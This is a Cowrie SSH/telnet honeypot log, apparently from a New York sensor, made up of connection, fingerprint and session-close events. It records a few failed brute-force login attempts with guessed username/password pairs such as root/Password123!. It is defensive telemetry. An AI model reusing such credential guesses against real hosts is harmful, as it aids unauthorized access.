{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:58.000589Z","src_ip":"200.105.172.184","session":"f5d86d61fe45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.197253465652466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:58.053841Z","src_ip":"192.119.108.58","session":"c50d6de1d0ff","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:58.118082Z","src_ip":"200.105.172.184","session":"f5d86d61fe45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123!","message":"login attempt [root/Password123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:58.609451Z","src_ip":"200.105.172.184","session":"f5d86d61fe45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":42932,"dst_ip":"10.17.0.5","dst_port":22,"session":"08b755231deb","protocol":"ssh","message":"New connection: 220.119.37.141:42932 (10.17.0.5:22) [session: 08b755231deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:59.565476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:59.574416Z","src_ip":"220.119.37.141","session":"08b755231deb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:59.726358Z","src_ip":"200.105.172.184","session":"f5d86d61fe45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:26:59.778573Z","src_ip":"220.119.37.141","session":"08b755231deb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"0","message":"login attempt [postgres/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:00.621379Z","src_ip":"220.119.37.141","session":"08b755231deb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.98801040649414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:01.492056Z","src_ip":"161.132.53.68","session":"f27e37ccc51a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.02937579154968,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:01.623956Z","src_ip":"161.132.53.68","session":"097ae18532a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:01.829382Z","src_ip":"220.119.37.141","session":"08b755231deb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.031765937805176,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:02.011918Z","src_ip":"161.132.53.68","session":"e2f88bfe9b9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.15468382835388,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:02.309838Z","src_ip":"161.132.53.68","session":"6de05b5d35e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.210739612579346,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:02.402972Z","src_ip":"161.132.53.68","session":"2543740ba6af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.47194528579712,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:04.799748Z","src_ip":"161.132.53.68","session":"73f833857d34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.883754014968872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:07.112037Z","src_ip":"161.132.53.68","session":"e88d62d36326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35972,"dst_ip":"159.203.135.109","dst_port":23,"session":"52a621422b8f","protocol":"telnet","message":"New connection: 161.132.53.68:35972 (159.203.135.109:23) [session: 52a621422b8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:08.248210Z"}
{"eventid":"cowrie.session.closed","duration":33.30762600898743,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:11.736762Z","src_ip":"161.132.53.68","session":"8ee75c12c744","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.25640511512756,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:11.928820Z","src_ip":"161.132.53.68","session":"ae08058ab045","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35980,"dst_ip":"159.203.135.109","dst_port":23,"session":"8330b36a94cc","protocol":"telnet","message":"New connection: 161.132.53.68:35980 (159.203.135.109:23) [session: 8330b36a94cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:12.033795Z"}
{"eventid":"cowrie.session.closed","duration":32.25322508811951,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:13.854051Z","src_ip":"161.132.53.68","session":"75b4e1581541","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":35982,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5cce90a494e","protocol":"telnet","message":"New connection: 161.132.53.68:35982 (159.203.135.109:23) [session: c5cce90a494e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:14.602514Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":49512,"dst_ip":"159.203.135.109","dst_port":23,"session":"6999815037e3","protocol":"telnet","message":"New connection: 161.132.53.68:49512 (159.203.135.109:23) [session: 6999815037e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:16.966490Z"}
{"eventid":"cowrie.session.closed","duration":31.195860147476196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:18.367940Z","src_ip":"161.132.53.68","session":"27ff923dd954","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44764,"dst_ip":"10.17.0.5","dst_port":23,"session":"c50d1cef831f","protocol":"telnet","message":"New connection: 104.245.105.2:44764 (10.17.0.5:23) [session: c50d1cef831f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:19.053519Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":45126,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eba6f9e5360","protocol":"ssh","message":"New connection: 223.17.5.126:45126 (159.203.135.109:22) [session: 5eba6f9e5360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:19.331540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:19.336853Z","src_ip":"223.17.5.126","session":"5eba6f9e5360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":37666,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc27fbceaa5f","protocol":"telnet","message":"New connection: 192.119.108.58:37666 (159.203.135.109:23) [session: fc27fbceaa5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:19.380020Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:19.558525Z","src_ip":"223.17.5.126","session":"5eba6f9e5360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.83003830909729,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:20.128653Z","src_ip":"192.119.108.58","session":"30b166ee1577","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass1234","message":"login attempt [ubuntu/Pass1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:20.464080Z","src_ip":"223.17.5.126","session":"5eba6f9e5360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.786468982696533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:21.418715Z","src_ip":"192.119.108.58","session":"2aa813bf5126","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":49526,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9cdbc306d43","protocol":"telnet","message":"New connection: 161.132.53.68:49526 (159.203.135.109:23) [session: d9cdbc306d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:21.518074Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:21.684960Z","src_ip":"223.17.5.126","session":"5eba6f9e5360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":60478,"dst_ip":"10.17.0.5","dst_port":22,"session":"64f77e427594","protocol":"ssh","message":"New connection: 114.35.59.237:60478 (10.17.0.5:22) [session: 64f77e427594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:24.345223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:24.350859Z","src_ip":"114.35.59.237","session":"64f77e427594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:24.564888Z","src_ip":"114.35.59.237","session":"64f77e427594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc123456789","message":"login attempt [ubuntu/abc123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:25.454148Z","src_ip":"114.35.59.237","session":"64f77e427594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":49536,"dst_ip":"159.203.135.109","dst_port":23,"session":"5058f48ff3e9","protocol":"telnet","message":"New connection: 161.132.53.68:49536 (159.203.135.109:23) [session: 5058f48ff3e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:26.268373Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:26.670020Z","src_ip":"114.35.59.237","session":"64f77e427594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":46388,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dfed4142991","protocol":"telnet","message":"New connection: 161.132.53.68:46388 (159.203.135.109:23) [session: 1dfed4142991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:27.506824Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":46400,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bf82e068dfa","protocol":"telnet","message":"New connection: 161.132.53.68:46400 (159.203.135.109:23) [session: 7bf82e068dfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:28.804510Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":46410,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae62b01af910","protocol":"telnet","message":"New connection: 161.132.53.68:46410 (159.203.135.109:23) [session: ae62b01af910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:28.880483Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35404,"dst_ip":"10.17.0.5","dst_port":23,"session":"66f13ca53e6b","protocol":"telnet","message":"New connection: 104.245.105.2:35404 (10.17.0.5:23) [session: 66f13ca53e6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:30.027353Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":46420,"dst_ip":"159.203.135.109","dst_port":23,"session":"74606a7210ce","protocol":"telnet","message":"New connection: 161.132.53.68:46420 (159.203.135.109:23) [session: 74606a7210ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:31.774299Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":46432,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca9a05eb28ed","protocol":"telnet","message":"New connection: 161.132.53.68:46432 (159.203.135.109:23) [session: ca9a05eb28ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:32.777057Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":46434,"dst_ip":"159.203.135.109","dst_port":23,"session":"588df8c0855f","protocol":"telnet","message":"New connection: 161.132.53.68:46434 (159.203.135.109:23) [session: 588df8c0855f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:34.929391Z"}
{"eventid":"cowrie.session.closed","duration":31.716108798980713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:39.964203Z","src_ip":"161.132.53.68","session":"52a621422b8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":50986,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5c88fd50c75","protocol":"telnet","message":"New connection: 161.132.53.68:50986 (159.203.135.109:23) [session: f5c88fd50c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:43.121184Z"}
{"eventid":"cowrie.session.closed","duration":31.201447248458862,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:43.235120Z","src_ip":"161.132.53.68","session":"8330b36a94cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83622169494629,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:45.438545Z","src_ip":"161.132.53.68","session":"c5cce90a494e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46622,"dst_ip":"159.203.135.109","dst_port":23,"session":"953d59a9d97d","protocol":"telnet","message":"New connection: 192.119.108.58:46622 (159.203.135.109:23) [session: 953d59a9d97d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:45.464099Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":37102,"dst_ip":"10.17.0.5","dst_port":22,"session":"18915c95216c","protocol":"ssh","message":"New connection: 124.18.182.99:37102 (10.17.0.5:22) [session: 18915c95216c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:48.138106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:48.142926Z","src_ip":"124.18.182.99","session":"18915c95216c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:48.312303Z","src_ip":"124.18.182.99","session":"18915c95216c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49038,"dst_ip":"159.203.135.109","dst_port":23,"session":"93da85dc1368","protocol":"telnet","message":"New connection: 192.119.108.58:49038 (159.203.135.109:23) [session: 93da85dc1368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:48.509046Z"}
{"eventid":"cowrie.session.closed","duration":31.897546768188477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:27:48.863946Z","src_ip":"161.132.53.68","session":"6999815037e3","protocol":"telnet"}
